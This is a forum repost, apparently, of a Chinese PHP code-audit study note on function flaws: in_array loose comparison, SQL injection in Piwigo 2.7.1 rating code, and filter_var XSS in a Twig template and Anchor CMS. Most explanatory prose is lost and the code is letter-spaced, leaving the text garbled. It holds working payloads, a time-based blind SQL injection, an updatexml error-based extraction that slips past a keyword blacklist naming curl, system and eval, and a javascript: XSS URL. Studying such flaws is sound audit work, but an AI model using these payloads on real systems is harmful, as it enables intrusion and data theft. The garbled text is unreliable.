[1097] 2020-05-22_php代码审计学习之函数缺陷

文档创建者:s7ckTeam
浏览次数:17
最后更新:2025-01-16
2020-05-22_php代码审计学习之函数缺陷 p h p s y s t 1 m   C h a B u g   2 0 2 0 - 0 5 - 2 2 P H P - A u d i t - L a b s i n _ a r r a y W i s h   L i s t C o d e 5 .   1 0 .   2 0 .   1 - 2 4 1 .   c l a s s   C h a l l e n g e   { 2 .       c o n s t   U P L O A D _ D I R E C T O R Y   =   ' . / s o l u t i o n s / ' ; 3 .       p r i v a t e   $ f i l e ; 4 .       p r i v a t e   $ w h i t e l i s t ; 6 .       p u b l i c   f u n c t i o n   _ _ c o n s t r u c t ( $ f i l e )   { 7 .           $ t h i s - > f i l e   =   $ f i l e ; 8 .           $ t h i s - > w h i t e l i s t   =   r a n g e ( 1 ,   2 4 ) ; 9 .       } 1 1 .       p u b l i c   f u n c t i o n   _ _ d e s t r u c t ( )   { 1 2 .           i f   ( i n _ a r r a y ( $ t h i s - > f i l e [ ' n a m e ' ] ,   $ t h i s - > w h i t e l i s t ) )   { 1 3 .               m o v e _ u p l o a d e d _ f i l e ( 1 4 .                   $ t h i s - > f i l e [ ' t m p _ n a m e ' ] , 1 5 .                   s e l f : : U P L O A D _ D I R E C T O R Y   .   $ t h i s - > f i l e [ ' n a m e ' ] 1 6 .               ) ; 1 7 .           } 1 8 .       } 1 9 .   } 2 1 .   $ c h a l l e n g e   =   n e w   C h a l l e n g e ( $ _ F I L E S [ ' s o l u t i o n ' ] ) ;
i n _ a r r a y p h p 6 p h p 6 6 1 - 2 4 p i w i g o 2 . 7 . 1 p i c t u r e . p h p : 3 3 2 1 .   i n _ a r r a y 2 .  
c a s e r a t e r a t e i m a g e i d f u n c t i o n s r a t e . i n c . p h p r a t e _ p i c t u r e i n c l u d e / f u n c t i o n s _ r a t e . i n c . p h p : 3 8 r a t e $ c o n f [ ' r a t e _ i t e m s ' ] 1 .   c a s e   ' r a t e '   : 2 .           { 3 .               i n c l u d e _ o n c e ( P H P W G _ R O O T _ P A T H . ' i n c l u d e / f u n c t i o n s _ r a t e . i n c . p h p ' ) ; 4 .               r a t e _ p i c t u r e ( $ p a g e [ ' i m a g e _ i d ' ] ,   $ _ P O S T [ ' r a t e ' ] ) ; 5 .               r e d i r e c t ( $ u r l _ s e l f ) ; 6 .           } 1 .   o r   ! i n _ a r r a y ( $ r a t e ,   $ c o n f [ ' r a t e _ i t e m s ' ] ) ) 1 .   $ c o n f [ ' r a t e _ i t e m s ' ]
r a t e 1 4 .   3 0 .   r a t e a r r a y ( 0 , 1 , 2 , 3 , 4 , 5 ) 便 便 i n _ a r r a y t r u e 1 .   $ q u e r y   =   ' 2 .   I N S E R T 3 .       I N T O   ' . R A T E _ T A B L E . ' 4 .       ( u s e r _ i d , a n o n y m o u s _ i d , e l e m e n t _ i d , r a t e , d a t e ) 5 .       V A L U E S 6 .       ( ' 7 .           . $ u s e r [ ' i d ' ] . ' , ' 8 .           . ' ' ' . $ a n o n y m o u s _ i d . ' ' , ' 9 .           . $ i m a g e _ i d . ' , ' 1 0 .           . $ r a t e 1 1 .           . ' , N O W ( ) ) 1 2 .   ; ' ; 1 3 .       p w g _ q u e r y ( $ q u e r y ) ; 1 5 .       r e t u r n   u p d a t e _ r a t i n g _ s c o r e ( $ i m a g e _ i d ) ; 1 6 .   } 1 7 .   $ q u e r y   =   ' 1 8 .   I N S E R T 1 9 .       I N T O   ' . R A T E _ T A B L E . ' 2 0 .       ( u s e r _ i d , a n o n y m o u s _ i d , e l e m e n t _ i d , r a t e , d a t e ) 2 1 .       V A L U E S 2 2 .       ( ' 2 3 .           . $ u s e r [ ' i d ' ] . ' , ' 2 4 .           . ' ' ' . $ a n o n y m o u s _ i d . ' ' , ' 2 5 .           . $ i m a g e _ i d . ' , ' 2 6 .           . $ r a t e 2 7 .           . ' , N O W ( ) ) 2 8 .   ; ' ; 2 9 .       p w g _ q u e r y ( $ q u e r y ) ; 3 1 .       r e t u r n   u p d a t e _ r a t i n g _ s c o r e ( $ i m a g e _ i d ) ; 3 2 .   }
p a y l o a d s q l m a p C T F s t o p _ h a c k 1 .   1 , 1   a n d   i f ( a s c i i ( s u b s t r ( ( s e l e c t   d a t a b a s e ( ) ) , 1 , 1 ) ) = 1 1 2 , 1 , s l e e p ( 3 ) ) ) ; #  
s t o p _ h a c k g e t I D s t o p _ h a c k s q l p a y l o a d 1 .   f u n c t i o n   s t o p _ h a c k ( $ v a l u e ) { 2 .           $ p a t t e r n   =   " i n s e r t | d e l e t e | o r | c o n c a t | c o n c a t _ w s | g r o u p _ c o n c a t | j o i n | f l o o r | / * | * | . . / | . / | u n i o n | i n t o | l o a d _ f i l e | o u t f i l e | d u m p f i l e | s u b | h e x | f i l e _ p u t _ c o n t e n t s | f w r i t e | c u r l | s y s t e m | e v a l " 3 .           $ b a c k _ l i s t   =   e x p l o d e ( " | " , $ p a t t e r n ) ; 4 .           f o r e a c h ( $ b a c k _ l i s t   a s   $ h a c k ) { 5 .                   i f ( p r e g _ m a t c h ( " / $ h a c k / i " ,   $ v a l u e ) ) 6 .                           d i e ( " $ h a c k   d e t e c t e d ! " ) ; 7 .           } 8 .           r e t u r n   $ v a l u e ; 9 .   } 1 .   a n d   ( s e l e c t   u p d a t e x m l ( 1 , m a k e _ s e t ( 3 , ' ~ ' , ( s e l e c t   f l a g   f r o m   f l a g ) ) , 1 ) )
f i l t e r _ v a r T w i g 1 .   h t t p s : / / g i t h u b . c o m / h o n g r i S e c / P H P - A u d i t - L a b s / b l o b / m a s t e r / P H P - A u d i t - L a b s % E 9 % A 2 % 9 8 % E 8 % A 7 % A 3 / D a y 1 - 4 / f i l e s / R E A D M E . m d 2 .   h t t p s : / / x z . a l i y u n . c o m / t / 2 1 6 0
3 .   6 .   1 1 .   1 9 .   2 4 .   3 2 .   使 使 e s c a p e f i l t e r _ v a r e s c a p e 使 使 h t m l s p e c i a l c h a r s 1 .   / /   c o m p o s e r   r e q u i r e   " t w i g / t w i g " 2 .   r e q u i r e   ' v e n d o r / a u t o l o a d . p h p ' ; 4 .   c l a s s   T e m p l a t e   { 5 .       p r i v a t e   $ t w i g ; 7 .       p u b l i c   f u n c t i o n   _ _ c o n s t r u c t ( )   { 8 .           $ i n d e x T e m p l a t e   =   ' < i m g   '   . 9 .               ' s r c = " h t t p s : / / l o r e m f l i c k r . c o m / 3 2 0 / 2 4 0 " > '   . 1 0 .               ' < a   h r e f = " { { l i n k | e s c a p e } } " > N e x t   s l i d e   & r a q u o ; < / a > ' ; 1 2 .           / /   D e f a u l t   t w i g   s e t u p ,   s i m u l a t e   l o a d i n g 1 3 .           / /   i n d e x . h t m l   f i l e   f r o m   d i s k 1 4 .           $ l o a d e r   =   n e w   T w i g L o a d e r A r r a y L o a d e r ( [ 1 5 .               ' i n d e x . h t m l '   = >   $ i n d e x T e m p l a t e 1 6 .           ] ) ; 1 7 .           $ t h i s - > t w i g   =   n e w   T w i g E n v i r o n m e n t ( $ l o a d e r ) ; 1 8 .       } 2 0 .       p u b l i c   f u n c t i o n   g e t N e x S l i d e U r l ( )   { 2 1 .           $ n e x t S l i d e   =   $ _ G E T [ ' n e x t S l i d e ' ] ; 2 2 .           r e t u r n   f i l t e r _ v a r ( $ n e x t S l i d e ,   F I L T E R _ V A L I D A T E _ U R L ) ; 2 3 .       } 2 5 .       p u b l i c   f u n c t i o n   r e n d e r ( )   { 2 6 .           e c h o   $ t h i s - > t w i g - > r e n d e r ( 2 7 .               ' i n d e x . h t m l ' , 2 8 .               [ ' l i n k '   = >   $ t h i s - > g e t N e x S l i d e U r l ( ) ] 2 9 .           ) ; 3 0 .       } 3 1 .   } 3 3 .   ( n e w   T e m p l a t e ( ) ) - > r e n d e r ( ) ;
f i l t e r _ v a r h t m l s p e c i a l c h a r s q u o t e s t y l e   E N T _ Q U O T E S p a y l o a d a n c h o r - c m s 1 .   使 2 .   m i x e d   f i l t e r _ v a r   (   m i x e d   $ v a r i a b l e   [ ,   i n t   $ f i l t e r   =   F I L T E R _ D E F A U L T   [ ,   m i x e d   $ o p t i o n s   1 .   &   ( &   )     = = = = = = = = = = = = = = =     & a m p ; 2 .   "   ( )     = = = = = = = = = = = = = = =     & q u o t ; 3 .   '   ( )     = = = = = = = = = = = = = = =     & a p o s ; 4 .   <   ( )     = = = = = = = = = = = = = = =     & l t ; 5 .   >   ( )     = = = = = = = = = = = = = = =     & g t ; 1 .   j a v a s c r i p t : / / c o m m e n t % 2 5 0 a a l e r t ( 1 )
t h e m e s / d e f a u l t / 4 0 4 . p h p : 9 a n c h o r / f u n c t i o n s / h e l p e r s . p h p : 3 4   c u r r e n t _ u r l ( ) s y s t e m / u r i . p h p : 8 4 1 .   f u n c t i o n   c u r r e n t _ u r l ( )   { 2 .           r e t u r n   U r i : : c u r r e n t ( ) ; 3 .   }
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则